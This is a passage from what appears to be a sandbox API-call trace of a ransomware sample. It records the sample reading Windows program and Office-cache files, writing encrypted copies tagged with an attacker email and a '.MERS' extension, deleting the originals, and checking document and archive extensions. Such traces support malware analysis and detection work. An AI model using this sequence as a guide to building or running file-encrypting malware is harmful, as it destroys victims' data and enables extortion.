lpNumberOfBytesWritten=0x314fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0050.815] ReadFile (in: hFile=0x204, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x6afa0, lpOverlapped=0x0) returned 1 [0050.936] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0x6afb0, lpOverlapped=0x0) returned 1 [0050.980] ReadFile (in: hFile=0x204, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.980] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.980] SetEndOfFile (hFile=0x1f8) returned 1 [0050.981] CloseHandle (hObject=0x1f8) returned 1 [0050.981] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.981] SetEndOfFile (hFile=0x204) returned 1 [0050.985] CloseHandle (hObject=0x204) returned 1 [0050.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.985] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0050.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.985] lstrlenW (lpString=".doc") returned 4 [0050.985] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.985] lstrlenW (lpString=".docx") returned 5 [0050.985] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0050.985] lstrlenW (lpString=".pdf") returned 4 [0050.985] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.985] lstrlenW (lpString=".xls") returned 4 [0050.985] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.986] lstrlenW (lpString=".xlsx") returned 5 [0050.986] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0050.986] lstrlenW (lpString=".ppt") returned 4 [0050.986] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.986] lstrlenW (lpString=".zip") returned 4 [0050.986] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.986] lstrlenW (lpString=".rar") returned 4 [0050.986] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.986] lstrlenW (lpString=".bz2") returned 4 [0050.986] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.986] lstrlenW (lpString=".7z") returned 3 [0050.986] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.986] lstrlenW (lpString=".dbf") returned 4 [0050.986] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.986] lstrlenW (lpString=".1cd") returned 4 [0050.986] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.986] lstrlenW (lpString=".jpg") returned 4 [0050.986] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.986] lstrlenW (lpString=".doc") returned 4 [0050.986] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.986] lstrlenW (lpString=".docx") returned 5 [0050.986] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0050.986] lstrlenW (lpString=".pdf") returned 4 [0050.986] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.986] lstrlenW (lpString=".xls") returned 4 [0050.986] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.986] lstrlenW (lpString=".xlsx") returned 5 [0050.986] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0050.986] lstrlenW (lpString=".ppt") returned 4 [0050.986] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.987] lstrlenW (lpString=".zip") returned 4 [0050.987] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.987] lstrlenW (lpString=".rar") returned 4 [0050.987] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.987] lstrlenW (lpString=".bz2") returned 4 [0050.987] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.987] lstrlenW (lpString=".7z") returned 3 [0050.987] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.987] lstrlenW (lpString=".dbf") returned 4 [0050.987] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.987] lstrlenW (lpString=".1cd") returned 4 [0050.987] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0050.987] lstrlenW (lpString=".jpg") returned 4 [0050.987] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.987] lstrcmpiW (lpString1=".FLT", lpString2=".MERS") returned -1 [0050.987] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0050.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.988] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=712592) returned 1 [0050.988] CloseHandle (hObject=0x204) returned 1 [0050.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0050.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.988] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.988] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0050.989] GetLastError () returned 0x0 [0050.989] ReadFile (in: hFile=0x204, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0xadf90, lpOverlapped=0x0) returned 1 [0051.139] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xadfa0, lpOverlapped=0x0) returned 1 [0051.151] ReadFile (in: hFile=0x204, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.151] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.151] SetEndOfFile (hFile=0x1f8) returned 1 [0051.261] CloseHandle (hObject=0x1f8) returned 1 [0051.262] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.262] SetEndOfFile (hFile=0x204) returned 1 [0051.289] CloseHandle (hObject=0x204) returned 1 [0051.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.290] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0051.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.402] lstrlenW (lpString=".doc") returned 4 [0051.402] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0051.402] lstrlenW (lpString=".docx") returned 5 [0051.402] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0051.403] lstrlenW (lpString=".pdf") returned 4 [0051.403] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0051.403] lstrlenW (lpString=".xls") returned 4 [0051.403] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0051.403] lstrlenW (lpString=".xlsx") returned 5 [0051.403] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0051.403] lstrlenW (lpString=".ppt") returned 4 [0051.403] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0051.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.403] lstrlenW (lpString=".zip") returned 4 [0051.403] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0051.403] lstrlenW (lpString=".rar") returned 4 [0051.403] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0051.403] lstrlenW (lpString=".bz2") returned 4 [0051.403] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0051.403] lstrlenW (lpString=".7z") returned 3 [0051.453] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0051.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.453] lstrlenW (lpString=".dbf") returned 4 [0051.453] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0051.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.453] lstrlenW (lpString=".1cd") returned 4 [0051.453] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0051.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.453] lstrlenW (lpString=".jpg") returned 4 [0051.453] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0051.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.453] lstrlenW (lpString=".doc") returned 4 [0051.453] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0051.453] lstrlenW (lpString=".docx") returned 5 [0051.453] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0051.453] lstrlenW (lpString=".pdf") returned 4 [0051.453] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0051.453] lstrlenW (lpString=".xls") returned 4 [0051.453] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0051.453] lstrlenW (lpString=".xlsx") returned 5 [0051.453] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0051.453] lstrlenW (lpString=".ppt") returned 4 [0051.453] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0051.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.453] lstrlenW (lpString=".zip") returned 4 [0051.453] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0051.453] lstrlenW (lpString=".rar") returned 4 [0051.453] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0051.453] lstrlenW (lpString=".bz2") returned 4 [0051.453] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0051.453] lstrlenW (lpString=".7z") returned 3 [0051.453] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0051.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.453] lstrlenW (lpString=".dbf") returned 4 [0051.453] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0051.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.454] lstrlenW (lpString=".1cd") returned 4 [0051.454] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0051.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.454] lstrlenW (lpString=".jpg") returned 4 [0051.454] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0051.454] lstrcmpiW (lpString1=".WPG", lpString2=".MERS") returned 1 [0051.454] lstrlenW (lpString="MS.WPG") returned 6 [0051.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.356] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1382) returned 1 [0052.356] CloseHandle (hObject=0x1f8) returned 1 [0052.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0052.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0052.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.356] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.356] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.357] GetLastError () returned 0x0 [0052.357] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x566, lpOverlapped=0x0) returned 1 [0052.404] WriteFile (in: hFile=0x17c, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0x570, lpOverlapped=0x0) returned 1 [0052.404] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.405] WriteFile (in: hFile=0x17c, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0052.405] SetEndOfFile (hFile=0x17c) Thread: id = 17 os_tid = 0xa14 [0033.676] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x38b06b0 [0033.676] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x38c06b8 [0033.676] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6404f0 [0033.677] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x6) returned 0x6430f0 [0033.677] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640508 [0033.677] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x3d80020 [0033.677] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640520 [0033.677] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640520, Size=0x20) returned 0x66f5c0 [0033.677] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640520 [0033.677] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640520, Size=0x20) returned 0x66f610 [0033.677] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.677] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0033.677] Wow64DisableWow64FsRedirection (in: OldValue=0x328ff58 | out: OldValue=0x328ff58*=0x0) returned 1 [0033.677] lstrlenW (lpString="kernel32.dll") returned 12 [0033.677] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f5c0 | out: hHeap=0x5f0000) returned 1 [0033.677] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.677] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f610 | out: hHeap=0x5f0000) returned 1 [0033.677] Sleep (dwMilliseconds=0x64) [0033.907] Sleep (dwMilliseconds=0x64) [0034.057] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.058] lstrlenW (lpString="Setup.xml") returned 9 [0034.058] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.058] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1608) returned 1 [0034.058] CloseHandle (hObject=0x18c) returned 1 [0034.058] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.058] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.058] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.058] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.058] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.058] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0034.059] GetLastError () returned 0x0 [0034.059] ReadFile (in: hFile=0x18c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x648, lpOverlapped=0x0) returned 1 [0034.161] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x650, lpOverlapped=0x0) returned 1 [0034.162] ReadFile (in: hFile=0x18c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.162] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.163] SetEndOfFile (hFile=0x1b4) returned 1 [0034.163] CloseHandle (hObject=0x1b4) returned 1 [0034.163] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.163] SetEndOfFile (hFile=0x18c) returned 1 [0034.164] CloseHandle (hObject=0x18c) returned 1 [0034.164] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.165] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.166] lstrlenW (lpString=".doc") returned 4 [0034.166] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.166] lstrlenW (lpString=".docx") returned 5 [0034.166] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.166] lstrlenW (lpString=".pdf") returned 4 [0034.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.166] lstrlenW (lpString=".xls") returned 4 [0034.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.167] lstrlenW (lpString=".xlsx") returned 5 [0034.167] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.167] lstrlenW (lpString=".ppt") returned 4 [0034.167] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.167] lstrlenW (lpString=".zip") returned 4 [0034.167] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.167] lstrlenW (lpString=".rar") returned 4 [0034.167] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.167] lstrlenW (lpString=".bz2") returned 4 [0034.167] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.167] lstrlenW (lpString=".7z") returned 3 [0034.167] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.167] lstrlenW (lpString=".dbf") returned 4 [0034.167] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.167] lstrlenW (lpString=".1cd") returned 4 [0034.167] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.167] lstrlenW (lpString=".jpg") returned 4 [0034.167] lstrcmpiW 